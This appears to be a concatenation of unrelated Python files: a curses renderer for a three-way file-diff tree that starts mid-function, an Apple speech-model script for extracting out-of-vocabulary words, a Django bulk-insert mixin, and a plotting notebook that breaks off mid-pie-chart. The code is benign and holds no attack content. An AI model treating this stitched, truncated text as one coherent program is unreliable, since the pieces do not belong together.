        elif color == ERROR_H:
            colors = error_h_color_list

        elif color == NORMAL_HIDDEN:
            colors = normal_hidden_color_list
        elif color == NORMAL_HIDDEN_H:
            colors = normal_hidden_h_color_list

        elif color == CHANGED_HIDDEN:
            colors = changed_hidden_color_list
        elif color == CHANGED_HIDDEN_H:
            colors = changed_hidden_h_color_list

        elif color == INSERTED_HIDDEN:
            colors = inserted_hidden_color_list
        elif color == INSERTED_HIDDEN_H:
            colors = inserted_hidden_h_color_list

        elif color == REMOVED_HIDDEN:
            colors = removed_hidden_color_list
        elif color == REMOVED_HIDDEN_H:
            colors = removed_hidden_h_color_list

        else:
            # print('bogus color=', color)
            # print('format_list=', format_list)
            assert False
            return

        total = 0
        self.__render_line(row, col + total, format_list[0], colors[1])
        total += len(format_list[0])

        self.__render_line(row, col + total, format_list[1], colors[0])
        total += len(format_list[1])

        if selected:
            self.__render_line(row, col + total, format_list[2],
                               selection_color)
        else:
            self.__render_line(row, col + total, format_list[2], colors[1])
        total += len(format_list[2])

        self.__render_line(row, col + total, format_list[3], colors[1])
        total += len(format_list[3])

        self.__render_line(row, col + total, format_list[4], colors[2])
        total += len(format_list[4])

        self.__render_line(row, col + total, format_list[5], colors[1])
        total += len(format_list[5])

        return total

    ##############################
    #
    def __reformat_partial_item(self, desired_size, format_list):
        # print('start=', format_list)

        # first_part = indention_part + collapse_part + name_part
        first_part = format_list[0] + format_list[1] + format_list[2]
        # second_part = count_part
        second_part = ' ' + format_list[4] + ' '  # format_list[5]

        amount_over = len(first_part) + len(second_part) - desired_size
        if amount_over > 0:
            desired_first_len = desired_size - len(second_part)

            len_0 = len(format_list[0])
            len_01 = len(format_list[0] + format_list[1])
            len_012 = len(first_part)

            if len_0 >= desired_first_len:
                format_list[0] = format_list[0][:desired_first_len]
                format_list[1] = ''
                format_list[2] = ''
            elif len_01 >= desired_first_len:
                # format_list[0] = format_list[0]

                new_1_len = desired_first_len - len_0
                format_list[1] = format_list[1][:new_1_len]

                format_list[2] = ''
            elif len_012 > desired_first_len:
                # format_list[0] = format_list[0]
                # format_list[1] = format_list[1]

                new_2_len = desired_first_len - len_01
                format_list[2] = format_list[2][:new_2_len]

            # first_part = first_part[:-amount_over]
        elif amount_over < 0:
            add = -amount_over
            format_list[3] = ' ' * (add + 1)

        # print('final=', format_list)

        # new_len = (len(format_list[0]) + len(format_list[1])
        #           + len(format_list[2]) + len(format_list[3])
        #           + len(format_list[4]) + len(format_list[5]))
        # print('desired_size=', desired_size)
        # print('new_len=', new_len)

        return format_list

#         amount_over = len(first_part) + len(second_part) - desired_size
#         if amount_over > 0:
# #             if item.selected:
# #                 self.__render_line(row, col, result, SELECTED)
# #             else:
# #                 self.__render_line(row, col, result, color)
#             self.__render_line(row, col, first_part[:-amount_over],
#                                 color)
#             self.__render_line(row, col + len(first_part) - amount_over,
#                                 second_part, color)
#         else:
#             self.__render_line(row, col, first_part, color)
#             col += len(first_part)
#             self.__render_line(row, col, second_part, color)
#             col += len(second_part)
#             needed = desired_size - (len(first_part) + len(second_part))
#             self.__render_line(row, col,' ' * needed,color)

#             self.__render_line(row, col, ' ' * indention, color)
#             col += indention
#             first_part = ' ' * indention

#             if os.path.isdir(name):
#                 if item.collapse:
#                     self.__render_line(row, col, '\u25B6 ', color)
#                     #result += '\u25B6 ' #'- '
#                 else:
#                     self.__render_line(row, col, '\u25BC ', color)
#                     #result += '\u25BC ' #'o '
#             else:
#                 self.__render_line(row, col, ' ', color)
#                 #result += '  '
#             col += 1
#             first_part += ' '

#             result = ''
#             result += os.path.basename(name)
#             if item.selected:
#                 self.__render_line(row, col, result, SELECTED)
#             else:
#                 self.__render_line(row, col, result, color)
#             print('result 1=', result)
#             col += len(result)
#             first_part += result

#             second_part = ''
#             if num_diffs is not None:
#                 added = "---" + str(num_diffs)
#                 second_part += added
#                 col += len(added)
#                 second_part = added
#             desired_size -= len(tally)
#             print('desired_size=', desired_size)
#             if len(result) < desired_size:
#                 result += " " * (desired_size - len(result))
#             elif len(result) > desired_size:
#                 result = result[:-(len(result) - desired_size)]

#            print('result 2=', result)
#            self.__render_line(row, col, result, color)

#        return orig_desired_size

    def __should_render_item(self, item):
        if self.render_hidden:
            return not item.IsHidden()
        else:
            return not item.IsHidden() and not item.hidden

    def __fixed_compute_colors(self, is_cursor, item):
        colors = self.__compute_colors(item)
        # print('colors=', colors)
        new_colors = [None] * 6

        new_colors[0] = colors[0]
        new_colors[1] = colors[1]
        new_colors[2] = colors[1]
        new_colors[3] = colors[2]
        new_colors[4] = colors[2]
        new_colors[5] = SELECTED

        if is_cursor:
            for i in range(len(new_colors)):
                new_colors[i] = highlight[new_colors[i]]
            # new_colors[5] = SELECTED_H

        return new_colors

    def __compute_colors(self, item):
        # This isn't the right way to deal with uncompared things, but I
        # do need to handle them.
        if item.FilesAreUncompared():
            # fixme: I could display green too
            return [UNCOMPARED, UNCOMPARED, UNCOMPARED]

        if item.hidden:
            # fixme: I could display green too
            return [NORMAL_HIDDEN, NORMAL_HIDDEN, NORMAL_HIDDEN]

        if item.HasError():
            return [ERROR, ERROR, ERROR]

        count = item.count()

        if count == 3:
            result = [NORMAL_FILENAME, NORMAL_FILENAME, NORMAL_FILENAME]
            if item.lm_num_diffs is not None and item.lm_num_diffs > 0:
                result[0] = CHANGED_FILENAME
                result[1] = CHANGED_FILENAME
            if item.mr_num_diffs is not None and item.mr_num_diffs > 0:
                result[1] = CHANGED_FILENAME
                result[2] = CHANGED_FILENAME
            return result
        else:
            if item.middle is None:
                result = [INSERTED_FILENAME, ABSENT, INSERTED_FILENAME]
                if item.left is None:
                    result[0] = ABSENT
                elif item.right is None:
                    result[2] = ABSENT
                return result

            if (item.middle is not None and item.left is None
                    and item.right is None):
                return [ABSENT, REMOVED_FILENAME, ABSENT]

            if item.middle is not None and count == 2:
                if item.left is None:
                    if item.mr_num_diffs == 0:
                        return [ABSENT, NORMAL_FILENAME, NORMAL_FILENAME]
                    else:
                        return [ABSENT, CHANGED_FILENAME, CHANGED_FILENAME]
                else:
                    # item.right is None
                    if item.lm_num_diffs == 0:
                        return [NORMAL_FILENAME, NORMAL_FILENAME, ABSENT]
                    else:
                        return [CHANGED_FILENAME, CHANGED_FILENAME, ABSENT]

            # fixme: catch-all for now
            return [ERROR, ERROR, ERROR]

    def __render_line(self, row, col, text, color):
        self.canvas.draw_text(row, col, text, color)

    def __render_empty_item(self, row):
        out_string = (' ' * self.left_item_width
                      + '|' + ' ' * self.middle_item_width
                      + '|' + ' ' * self.right_item_width)
        self.__render_line(row, 0, out_string, NORMAL_VERTICAL_SEP)

    def __next_display_line(self, path_const):
        candidate_path = self.__next_display_line_aux(path_const)
        if candidate_path is None:
            # print('None')
            return None
        # print('path=', candidate_path[0].left)

        # while candidate_path[0].IsHidden():
        while not self.__should_render_item(candidate_path[0]):
            candidate_path = self.__next_display_line_aux(candidate_path)
            # print('path=', candidate_path)
            if candidate_path is None:
                return None

        return candidate_path

    def __next_display_line_aux(self, path_const):
        path = path_const[:]
        current = path[0]

        if not current.collapse:
            # If the current item is not a leaf node, then the first child
            # is "next".
            if len(current.children) > 0:
                path.insert(0, current.children[0])
                return path

        # Otherwise, we're a leaf node, so the next is the sibling
        # that follows us in our parent's list of children. If we are
        # our parent's last sibling, we try the the node that follows
        # our parent in the grandparent's list, and so on. If at any
        # time we try to move up the tree and the ancestor is None (we
        # are at the last item in path[]), return None, since we must
        # be the last item in the tree.
        if len(path) == 1:
            # We're the root node, so there's no next.
            return None
        parent = path[1]

        while True:
            next = parent.find_following_child(current)
            if next is not None:
                path[0] = next
                return path
            else:
                path.pop(0)
                if len(path) == 1:
                    return None
                current = path[0]
                parent = path[1]

    def __prev_display_line(self, path_const):
        candidate_path = self.__prev_display_line_aux(path_const)
        if candidate_path is None:
            return None

        # while candidate_path[0].IsHidden():
        while not self.__should_render_item(candidate_path[0]):
            candidate_path = self.__prev_display_line_aux(candidate_path)
            if candidate_path is None:
                return None

        return candidate_path

    def __prev_display_line_aux(self, path_const):
        # If we are at the root node, just return None
        # if len(path_const) == 1:
        #    return None

        if (len(path_const) == 2
                and path_const[0] == self.model.top.children[0]):
            return None

        path = path_const[:]
        current = path[0]
        parent = path[1]

        prev = parent.find_previous_child(current)
        if prev is None:
            path.pop(0)
        else:
            current = prev
            path[0] = prev

            while True:
                if current.collapse:
                    break
                number_children = len(current.children)
                if number_children > 0:
                    current = current.children[number_children - 1]
                    path.insert(0, current)
                else:
                    break

        return path

    def __init_color_pairs(self):
        self.__init_a_color_pair(NORMAL_DIR_ARROW,
                                 'normal_dir_arrow_fg',
                                 'normal_dir_arrow_bg')
        self.__init_a_color_pair(NORMAL_FILENAME,
                                 'normal_filename_fg',
                                 'normal_filename_bg')
        self.__init_a_color_pair(NORMAL_COUNT,
                                 'normal_count_fg',
                                 'normal_count_bg')
        self.__init_a_color_pair(NORMAL_VERTICAL_SEP,
                                 'normal_vertical_sep_fg',
                                 'normal_vertical_sep_bg')
        self.__init_a_color_pair(NORMAL_HIDDEN,
                                 'normal_hidden_fg',
                                 'normal_hidden_bg')

        self.__init_a_color_pair(NORMAL_DIR_ARROW_H,
                                 'normal_dir_arrow_h_fg',
                                 'normal_dir_arrow_h_bg')
        self.__init_a_color_pair(NORMAL_FILENAME_H,
                                 'normal_filename_h_fg',
                                 'normal_filename_h_bg')
        self.__init_a_color_pair(NORMAL_COUNT_H,
                                 'normal_count_h_fg',
                                 'normal_count_h_bg')
        self.__init_a_color_pair(NORMAL_VERTICAL_SEP_H,
                                 'normal_vertical_sep_h_fg',
                                 'normal_vertical_sep_h_bg')
        self.__init_a_color_pair(NORMAL_HIDDEN_H,
                                 'normal_hidden_h_fg',
                                 'normal_hidden_h_bg')

        self.__init_a_color_pair(CHANGED_DIR_ARROW,
                                 'changed_dir_arrow_fg',
                                 'changed_dir_arrow_bg')
        self.__init_a_color_pair(CHANGED_FILENAME,
                                 'changed_filename_fg',
                                 'changed_filename_bg')
        self.__init_a_color_pair(CHANGED_COUNT,
                                 'changed_count_fg',
                                 'changed_count_bg')
        self.__init_a_color_pair(CHANGED_VERTICAL_SEP,
                                 'changed_vertical_sep_fg',
                                 'changed_vertical_sep_bg')
        self.__init_a_color_pair(CHANGED_HIDDEN,
                                 'changed_hidden_fg',
                                 'changed_hidden_bg')

        self.__init_a_color_pair(CHANGED_DIR_ARROW_H,
                                 'changed_dir_arrow_h_fg',
                                 'changed_dir_arrow_h_bg')
        self.__init_a_color_pair(CHANGED_FILENAME_H,
                                 'changed_filename_h_fg',
                                 'changed_filename_h_bg')
        self.__init_a_color_pair(CHANGED_COUNT_H,
                                 'changed_count_h_fg',
                                 'changed_count_h_bg')
        self.__init_a_color_pair(CHANGED_VERTICAL_SEP_H,
                                 'changed_vertical_sep_h_fg',
                                 'changed_vertical_sep_h_bg')
        self.__init_a_color_pair(CHANGED_HIDDEN_H,
                                 'changed_hidden_h_fg',
                                 'changed_hidden_h_bg')

        self.__init_a_color_pair(INSERTED_DIR_ARROW,
                                 'inserted_dir_arrow_fg',
                                 'inserted_dir_arrow_bg')
        self.__init_a_color_pair(INSERTED_FILENAME,
                                 'inserted_filename_fg',
                                 'inserted_filename_bg')
        self.__init_a_color_pair(INSERTED_COUNT,
                                 'inserted_count_fg',
                                 'inserted_count_bg')
        self.__init_a_color_pair(INSERTED_VERTICAL_SEP,
                                 'inserted_vertical_sep_fg',
                                 'inserted_vertical_sep_bg')
        self.__init_a_color_pair(INSERTED_HIDDEN,
                                 'inserted_hidden_fg',
                                 'inserted_hidden_bg')

        self.__init_a_color_pair(INSERTED_DIR_ARROW_H,
                                 'inserted_dir_arrow_h_fg',
                                 'inserted_dir_arrow_h_bg')
        self.__init_a_color_pair(INSERTED_FILENAME_H,
                                 'inserted_filename_h_fg',
                                 'inserted_filename_h_bg')
        self.__init_a_color_pair(INSERTED_COUNT_H,
                                 'inserted_count_h_fg',
                                 'inserted_count_h_bg')
        self.__init_a_color_pair(INSERTED_VERTICAL_SEP_H,
                                 'inserted_vertical_sep_h_fg',
                                 'inserted_vertical_sep_h_bg')
        self.__init_a_color_pair(INSERTED_HIDDEN_H,
                                 'inserted_hidden_h_fg',
                                 'inserted_hidden_h_bg')

        self.__init_a_color_pair(REMOVED_DIR_ARROW,
                                 'removed_dir_arrow_fg',
                                 'removed_dir_arrow_bg')
        self.__init_a_color_pair(REMOVED_FILENAME,
                                 'removed_filename_fg',
                                 'removed_filename_bg')
        self.__init_a_color_pair(REMOVED_COUNT,
                                 'removed_count_fg',
                                 'removed_count_bg')
        self.__init_a_color_pair(REMOVED_VERTICAL_SEP,
                                 'removed_vertical_sep_fg',
                                 'removed_vertical_sep_bg')
        self.__init_a_color_pair(REMOVED_HIDDEN,
                                 'removed_hidden_fg',
                                 'removed_hidden_bg')

        self.__init_a_color_pair(REMOVED_DIR_ARROW_H,
                                 'removed_dir_arrow_h_fg',
                                 'removed_dir_arrow_h_bg')
        self.__init_a_color_pair(REMOVED_FILENAME_H,
                                 'removed_filename_h_fg',
                                 'removed_filename_h_bg')
        self.__init_a_color_pair(REMOVED_COUNT_H,
                                 'removed_count_h_fg',
                                 'removed_count_h_bg')
        self.__init_a_color_pair(REMOVED_VERTICAL_SEP_H,
                                 'removed_vertical_sep_h_fg',
                                 'removed_vertical_sep_h_bg')
        self.__init_a_color_pair(REMOVED_HIDDEN_H,
                                 'removed_hidden_h_fg',
                                 'removed_hidden_h_bg')

        self.__init_a_color_pair(ABSENT,
                                 'absent_fg',
                                 'absent_bg')
        self.__init_a_color_pair(ABSENT_H,
                                 'absent_h_fg',
                                 'absent_h_bg')
        self.__init_a_color_pair(UNCOMPARED,
                                 'uncompared_fg',
                                 'uncompared_bg')
        self.__init_a_color_pair(UNCOMPARED_H,
                                 'uncompared_h_fg',
                                 'uncompared_h_bg')
        self.__init_a_color_pair(ERROR,
                                 'error_fg',
                                 'error_bg')
        self.__init_a_color_pair(ERROR_H,
                                 'error_h_fg',
                                 'error_h_bg')
        self.__init_a_color_pair(SELECTED,
                                 'selected_fg',
                                 'selected_bg')
        self.__init_a_color_pair(SELECTED_H,
                                 'selected_h_fg',
                                 'selected_h_bg')

        self.__init_a_color_pair(MARKER_OK,
                                 'marker_ok_fg',
                                 'marker_ok_bg')
        self.__init_a_color_pair(MARKER_MERGED,
                                 'marker_merged_fg',
                                 'marker_merged_bg')
        self.__init_a_color_pair(MARKER_RESOLVED,
                                 'marker_resolved_fg',
                                 'marker_resolved_bg')
        self.__init_a_color_pair(MARKER_CONFLICT,
                                 'marker_conflict_fg',
                                 'marker_conflict_bg')

        self.__init_a_color_pair(TOP_LINE,
                                 'top_line_fg',
                                 'top_line_bg')
        self.__init_a_color_pair(TOP_VERTICAL_SEP,
                                 'top_vertical_sep_fg',
                                 'top_vertical_sep_bg')

        self.__init_a_color_pair(STATUS_1,
                                 'status_1_fg',
                                 'status_1_bg')
        self.__init_a_color_pair(STATUS_2,
                                 'status_2_fg',
                                 'status_2_bg')
        self.__init_a_color_pair(STATUS_3,
                                 'status_3_fg',
                                 'status_3_bg')
        self.__init_a_color_pair(STATUS_4,
                                 'status_4_fg',
                                 'status_4_bg')

        self.__init_a_color_pair(PROMPT_1,
                                 'prompt_1_fg',
                                 'prompt_1_bg')
        self.__init_a_color_pair(PROMPT_2,
                                 'prompt_2_fg',
                                 'prompt_2_bg')
        self.__init_a_color_pair(PROMPT_3,
                                 'prompt_3_fg',
                                 'prompt_3_bg')
        self.__init_a_color_pair(PROMPT_4,
                                 'prompt_4_fg',
                                 'prompt_4_bg')


#!/usr/bin/env python3
# Copyright (c) 2016 Apple Inc. All rights reserved.

import argparse
import io
import logging
import os
import sys

from collections import Counter

sys.path.append('/lm/lmautomation/data-tools/live-data/')
from get_trans_diffs import AlignObject

PROGNAME=os.path.basename(sys.argv[0])

LMELIST=["\\jit", "\\contact", "\\appname", "\\photo", "\\phoneCall", "\\person",
         "\\device", "\\room", "\\scene", "\\house"]

#----------- useful functions ------------------
def check_path(filename):
    """Checks that a file exists"""
    f = os.path.abspath(filename)
    if not os.path.exists(f):
        raise RuntimeError("FATAL: Can't find path: %s" % filename)

def check_file_dir(filename):
    """Checks that a file's directory exists"""
    dirname = os.path.dirname(os.path.realpath(filename))
    if not os.path.isdir(dirname):
        raise RuntimeError("FATAL: Can't find directory: %s\n" % dirname)

def init_logger():
    """Initializes logger"""
    logging.basicConfig(
        stream=io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8'),
        level=getattr(logging, 'INFO'),
        format='%(levelname)s:%(filename)s:%(lineno)s:%(funcName)s():%(message)s')

#------- lexicon specific functions ------------------
def _is_lme(word):
    if "\\" not in word:
        return False
    for lmeterm in ["\\contact", "\\jit", "\\room", "\\photo", "\\scene",
                    "\\appname", "\\phoneCall", "\\device", "\\group", "\\person"]:
        if lmeterm in word:
            return True
    return False

def _get_most_common(indict):
    """ return the key in a dictionary which has the highest value"""
    first = True
    maxkey, maxval = None, 0
    for (mykey, myval) in indict.items():
        if first:
            maxkey = mykey
            maxval = myval
            first = False
            continue
        if myval > maxval:
            maxkey = mykey
            maxval = myval
    return maxkey

def _decapitalise_word(thisword):
    """ lowercase the first letter of a word """
    if len(thisword) == 1:
        thisword = thisword.lower()
    else:
        thisword = thisword[0].lower() + thisword[1:]
    return thisword

def _read_word_list(infn, takeFirstOnly=True, lowerAll=False, lowerFirst=False):
    """ read a list of words and return a set.
      takeFirstOnly : only process the first word on a line
      lowerAll      : lowercase all the letters in a word
      lowerFirst    : lowercase the first letter in a word
    """
    vocab=set()
    if not infn: return vocab
    with open(infn, encoding='utf-8') as infp:
        for line in infp:
            line = line.strip()
            if not line: continue
            words = line.split(None)
            if takeFirstOnly:
                thisword = words[0]
                words = [thisword]
            for thisword in words:
                if lowerAll:
                    thisword = thisword.lower()
                elif lowerFirst:
                    thisword = _decapitalise_word(thisword)
                vocab.add(thisword)
    return vocab

def _process_compounds(lhs, rhs):
    # if you have somethings like
    # 1.0 3D_Touch ista\RE-suffix-64088 <- 3D_Touchista
    # then you should remove the "_" from the RHS as it will not be tokenised into compound
    lhs = lhs.replace("_\\underscore", "~_\\underscore")
    lhs = lhs.replace("~\\tilde","~~\\tilde")
    if "_" in rhs and "underscore" not in lhs and "~_" not in lhs:
        rhs = rhs.replace("_"," ")
    return (lhs, rhs)

def _contains_LME(instr):
    for x in LMELIST:
        if x in instr:
            return True
    return False

def _print_oovs_and_munges(oovHash, mungeHash, outfp=sys.stdout, filterunknown=False,
                           filterlme=False):
    oovs = sorted(oovHash.keys()) # might want to sort by frequency?
    for myoov in oovs:
        if myoov in mungeHash:
            topmunge = _get_most_common(mungeHash[myoov])
        else:
            topmunge = "UNKNOWN"
            if filterunknown:
                continue
        if filterlme and _contains_LME("%s %s" %(topmunge, myoov)):
            continue
        (lhs, rhs) = _process_compounds(topmunge, myoov)
        outfp.write("%s\t1.0 %s <- %s\n" %(oovHash[myoov], lhs, rhs))

#------- main body of program ------------------

def _get_reverse_munge(inwordlistfn, inputfn, outputfn, islexin=False,
                       numlines=-1, quiet=False, filterunknown=False,
                       filterlme=False):

    # set up output file. Don't allow gzip for now ( use with hadoop )
    outfp = open(outputfn, "w", encoding='utf-8')

    # read in vocab
    vocabwords = _read_word_list(inwordlistfn, takeFirstOnly=islexin)

    # get oovs and possible munges
    oovhash={}   # oovhash[word]=frequency
    mungehash={} # mungehash[preitn][rawrec] = frequency
    with open(inputfn, encoding='utf-8') as infp:
        for (linectr,line) in enumerate(infp):
            if 0 < numlines < linectr:
                break
            line = line.strip()
            if not line: continue
            line = line.replace("^20","_")  # deal with compound words
            line = line.replace("^00"," ")  # deal with joined LME
            try:
                tabbedvals = line.split('\t')
                rawrec = tabbedvals[0]
                preitn = tabbedvals[1]
            except:
                logging.warn("WARNING: cannot extract 2 tabs from %s" %line)
                continue

            # look for oov terms
            words = preitn.split(None)
            if not words: continue # nothing left
            seenoov = False
            for myword in words:
                if not myword: continue # no empty please
                if "\\" in myword: continue # don't include LME or enUS terms
                if myword not in vocabwords:
                    seenoov = True
                    try:
                        oovhash[myword]+=1
                    except KeyError:
                        oovhash[myword]=1

            if not seenoov: continue
            # get possible munges if you have seen oov
            logging.debug("rawrec=%s preitn=%s" %(rawrec, preitn))
            thisalign = AlignObject(rawrec, preitn)
            thisalign.get_diffs()
            #if len(thisalign.my_errors) > 3: # complicated alignment!
            #    logging.warn("Complicated alignment for line %s. Skipping munges." %(preitn))
            #    continue
            for thisdiff in thisalign.my_errors:
                # output is like [('Orts Faktor', 'Ortsfaktor')]
                (thisraw,thispre) = thisdiff
                logging.debug("thisraw=%s thispre=%s" %(thisraw, thispre))
                if thispre not in mungehash:
                    mungehash[thispre] = {}
                if thisraw not in mungehash[thispre]:
                    mungehash[thispre][thisraw] = 1
                else:
                    mungehash[thispre][thisraw] += 1

    # now we have the oovs
    _print_oovs_and_munges(oovhash, mungehash, outfp=outfp,
                           filterunknown=filterunknown, filterlme=filterlme)

    if not quiet:
        logging.info("#LOG: written output to %s" %(outputfn))
    outfp.close()

######

def main ():
    parser = argparse.ArgumentParser(
        description=
"""
Get a list of OOVs with their frequency from the input data
""",
        epilog=
"""
examples:

    get oovs from the first 1000 lines of a gpfs version of a merged live data
    file for de_DE ( /amr/users/stranter/tmp/de_DE/merged/in_20161114.tsv )

    $ get_reverse_munge.py -l -n 1000 /amr/users/speechbot/lmbuilds/Quasar/de_DE.current/languagedata/lexicon.txt /amr/users/stranter/tmp/de_DE/merged/in_20161114.tsv /amr/users/stranter/tmp/de_DE/merged/out_20161114_oov.tsv

""",
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(prog))

    parser.add_argument("in_wordlist", type=str,
                        help="wordlist of ( in vocab ) lexical entries")
    parser.add_argument("input_file", type=str,
                        help="input filename to be processed")
    parser.add_argument("output_file", type=str,
                        help="output filename for the results")

    # Optional
    parser.add_argument("-l", "--lexin", default=False, action="store_true",
                        help="input wordlist is in quasar lexicon.txt format (just take 1st word per line)")
    parser.add_argument("-n", "--numlines", type=int, default=-1,
                        help="specify number of input lines to process")
    parser.add_argument("-q", "--quiet", default=False, action="store_true",
                        help="dont print logging information")
    parser.add_argument("-u", "--filterunknown", default=False, action="store_true",
                        help="dont print lines that include UNKNOWN")
    parser.add_argument("-m", "--filterlme", default=False, action="store_true",
                        help="dont print lines that include lme symbols")
    parser.add_argument("--debug", default=False, action='store_true',
                        help="Log debug output")

    args = parser.parse_args()

    init_logger()
    if args.debug:
        logging.getLogger().setLevel(logging.DEBUG)

    inwordfn = args.in_wordlist
    inputfn = args.input_file
    outputfn = args.output_file

    # check input files exit
    check_path(inwordfn)
    check_path(inputfn)

    # check existance of output files/directories
    check_file_dir(outputfn)

    # optional args
    lexin = args.lexin
    quiet = args.quiet
    try:
        numlines=int(args.numlines)
    except:
        raise ValueError("Cannot get integer number of lines to process from %s" %(args.numlines))

    # run main script
    _get_reverse_munge(inwordlistfn=inwordfn, inputfn=inputfn, outputfn=outputfn,
                       islexin=lexin, quiet=quiet, numlines=numlines,
                       filterunknown=args.filterunknown, filterlme=args.filterlme )

    # finished
    return 0        # success

if __name__ == '__main__':
    status = main()
    sys.exit(status)


from django.db import models
from django.utils import timezone
from six.moves import xrange

class EasyBulkModel(models.Model):
    """
    Bulk Creation Mixin

    Mixin to help with creation of large numbers of models with streamlined syntax.

    """

    batch_time = models.DateTimeField(null=True,blank=True, editable=False)
    batch_id = models.IntegerField(null=True,blank=True, editable=False)
    _queue = None

    class Meta:
        abstract = True

    @classmethod
    def queue_length(cls):
        return len(cls._queue)

    @classmethod
    def _add_to_queue(cls,obj):
        """
        Add obj to class creation queue.
        """
        cls.init_queue()
        cls._queue.append(obj)

    @classmethod
    def init_queue(cls):
        if cls._queue == None:
            cls._queue = []

    @classmethod
    def save_queue_if_count(cls,count=1000):
        cls.init_queue()
        if len(cls._queue) >= count:
            cls.save_queue()

    @classmethod
    def save_queue(cls,safe_creation_rate = 1000, retrieve=True):
        """
        Saves all objects stored in the class queue in batches.

        If retrieve = true (default) will return a list of the saved objects.

        """
        n = timezone.now()
        if cls._queue == None:
            return []

        real_queue = [x for x in cls._queue if isinstance(x,cls)]
        cls._queue = [x for x in cls._queue if not isinstance(x,cls)]

        for x, q in enumerate(real_queue):
            q.batch_id = x
            q.batch_time = n

        def chunks(l, n):
            """Yield successive n-sized chunks from l."""
            for i in xrange(0, len(l), n):
                yield l[i:i+n]

        for c in chunks(real_queue,safe_creation_rate):
            print("saving {0} of {1}".format(len(c),cls))
            cls.objects.bulk_create(c)

        returning = []
        if retrieve:
            rel_q = cls.objects.filter(batch_time=n)
            lookup = {x:y for x,y in rel_q.values_list('batch_id','id')}

            for q in real_queue:
                q.id = lookup[q.batch_id]
                returning.append(q)

        return returning

    def queue(self):
        """
        Add current object to the class creation queue
        """
        self.__class__._add_to_queue(self)

class StockModelHelpers(object):
    """
    common functions useful for all models - diagnostics etc
    """
    def __unicode__(self):
        """
        returns the name variable is present - else the id of the object
        """
        if hasattr(self,"name"):
            return self.name
        else:
            return unicode(self.id)


#%% VIZ INTERACTIVE SCATTERPLOT
import plotly.graph_objects as go
import numpy as np
#%%
N = 10000
fig = go.Figure(data=go.Scattergl(
    x = np.random.randn(N),
    y = np.random.randn(N),
    mode='markers',
    marker=dict(
        color=10,
        colorscale='Viridis',
        line_width=0,
        opacity = 1
    )
))
fig.show()
# %% SCATTERPLOT MATRIX
import seaborn as sns
sns.set(style="ticks")

df = sns.load_dataset("iris")
g = sns.pairplot(df, hue="species")
g.map_lower(sns.kdeplot)
g.map_upper(sns.scatterplot)
g.map_diag(sns.kdeplot, lw=3)
# %% HISTOGRAM

import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt

sns.set(style="white", palette="muted", color_codes=True)
rs = np.random.RandomState(10)

# Set up the matplotlib figure
f, axes = plt.subplots(2, 2, figsize=(7, 7), sharex=True)
sns.despine()

# Generate a random univariate dataset
d = rs.normal(size=100)

# Plot a simple histogram with binsize determined automatically
sns.distplot(d, kde=False, color="b", ax=axes[0, 0])

# Plot a kernel density estimate and rug plot
sns.distplot(d, hist=False, rug=True, color="r", ax=axes[0, 1])

# Plot a filled kernel density estimate
sns.distplot(d, hist=False, color="g", kde_kws={"shade": True}, ax=axes[1, 0])

# Plot a historgram and kernel density estimate
sns.distplot(d, bins = 20, color="m", ax=axes[1, 1])

# plt.setp(axes, yticks=[])
plt.tight_layout()

#%% BOXPLOT
import seaborn as sns
sns.set(style="ticks", palette="pastel")

# Load the example tips dataset
tips = sns.load_dataset("tips")

# Draw a nested boxplot to show bills by day and time
sns.boxplot(x="day", y="total_bill",
            hue="smoker", palette={"Yes": "y", "No": "b"},
            data=tips)
sns.despine(offset=10, trim=True)

#%% VIOLIN PLOT
import seaborn as sns
sns.set(style="whitegrid", palette="pastel", color_codes=True)

# Load the example tips dataset
tips = sns.load_dataset("tips")

# Draw a nested violinplot and split the violins for easier comparison
sns.violinplot(x="day", y="total_bill", hue="smoker",
               split=True, inner="quart",
               palette={"Yes": "y", "No": "b"},
               data=tips)
sns.despine(left=True)

#%%
#SANKEY
fig = go.Figure(data=[go.Sankey(
    node = dict(
      pad = 15,
      thickness = 20,
      line = dict(color = "black", width = 0.5),
      label = ["A1", "A2", "B1", "B2", "C1", "C2"],
      color = "blue"
    ),
    link = dict(
      source = [0, 1, 0, 2, 3, 3], # indices correspond to labels, eg A1, A2, A2, B1, ...
      target = [2, 3, 3, 4, 4, 5],
      value = [8, 4, 2, 8, 4, 2]
  ))])

fig.update_layout(title_text="Basic Sankey Diagram", font_size=10)
fig.show()

#%%
#Bar chart
import matplotlib.pyplot as plt; plt.rcdefaults()
import numpy as np
import matplotlib.pyplot as plt

objects = ('Python', 'C++', 'Java', 'Perl', 'Scala', 'Lisp')
y_pos = np.arange(len(objects))
performance = [10,8,6,4,2,1]

plt.bar(y_pos, performance, align='center', alpha=0.5)
plt.xticks(y_pos, objects)
plt.ylabel('Usage')
plt.title('Programming language usage')

plt.show()

#%%
#Line chart
from pylab import *
t = arange(0.0, 2.0, 0.01)
s = sin(2.5*pi*t)
plot(t, s)

xlabel('time (s)')
ylabel('voltage (mV)')
title('Sine Wave')
grid(True)
show()
# %%
#Dual axis chart
from pylab import figure, show, legend, ylabel

# create the general figure
fig1 = figure()

# and the first axes using subplot populated with data
ax1 = fig1.add_subplot(111)
line1 = ax1.plot([1,3,4,5,2], 'o-')
ylabel("Left Y-Axis Data")

# now, the second axes that shares the x-axis with the ax1
ax2 = fig1.add_subplot(111, sharex=ax1, frameon=False)
line2 = ax2.plot([10,40,20,30,50], 'xr-')
ax2.yaxis.tick_right()
ax2.yaxis.set_label_position("right")
ylabel("Right Y-Axis Data")

# for the legend, remember that we used two different axes so, we need
# to build the legend manually
legend((line1, line2), ("1", "2"))
show()

#%%
#Area chart
import plotly.express as px
gapminder = px.data.gapminder()
fig = px.area(gapminder, x="year", y="pop", color="continent",
	      line_group="pop")
fig.show()
#%%
gapminder
#%%
#Mekko chart
import pandas as pd
from statsmodels.graphics.mosaicplot import mosaic
import pylab
from itertools import product
import numpy as np
rand = np.random.random
speaks_mul_foreign_languages = list(product(['male', 'female'], ['yes', 'no']))
index = pd.MultiIndex.from_tuples(speaks_mul_foreign_languages, names=['male', 'female'])
data = pd.Series(rand(4), index=index)
mosaic(data, gap=0.01, title='Who knows multiple foreign languages? - Mosaic Chart')
pylab.show()

#%%
#Pie chart
import matplotlib.pyplot as plt

# Data to plot
labels = 'Python', 'C++', 'Ruby', 'Java'
sizes = [215, 130, 245, 210]
colors = ['gold', 'yellowgreen', 'lightcoral', 'lightskyblue']
explode = (0.1, 0, 0, 0)  # explode 1st slice

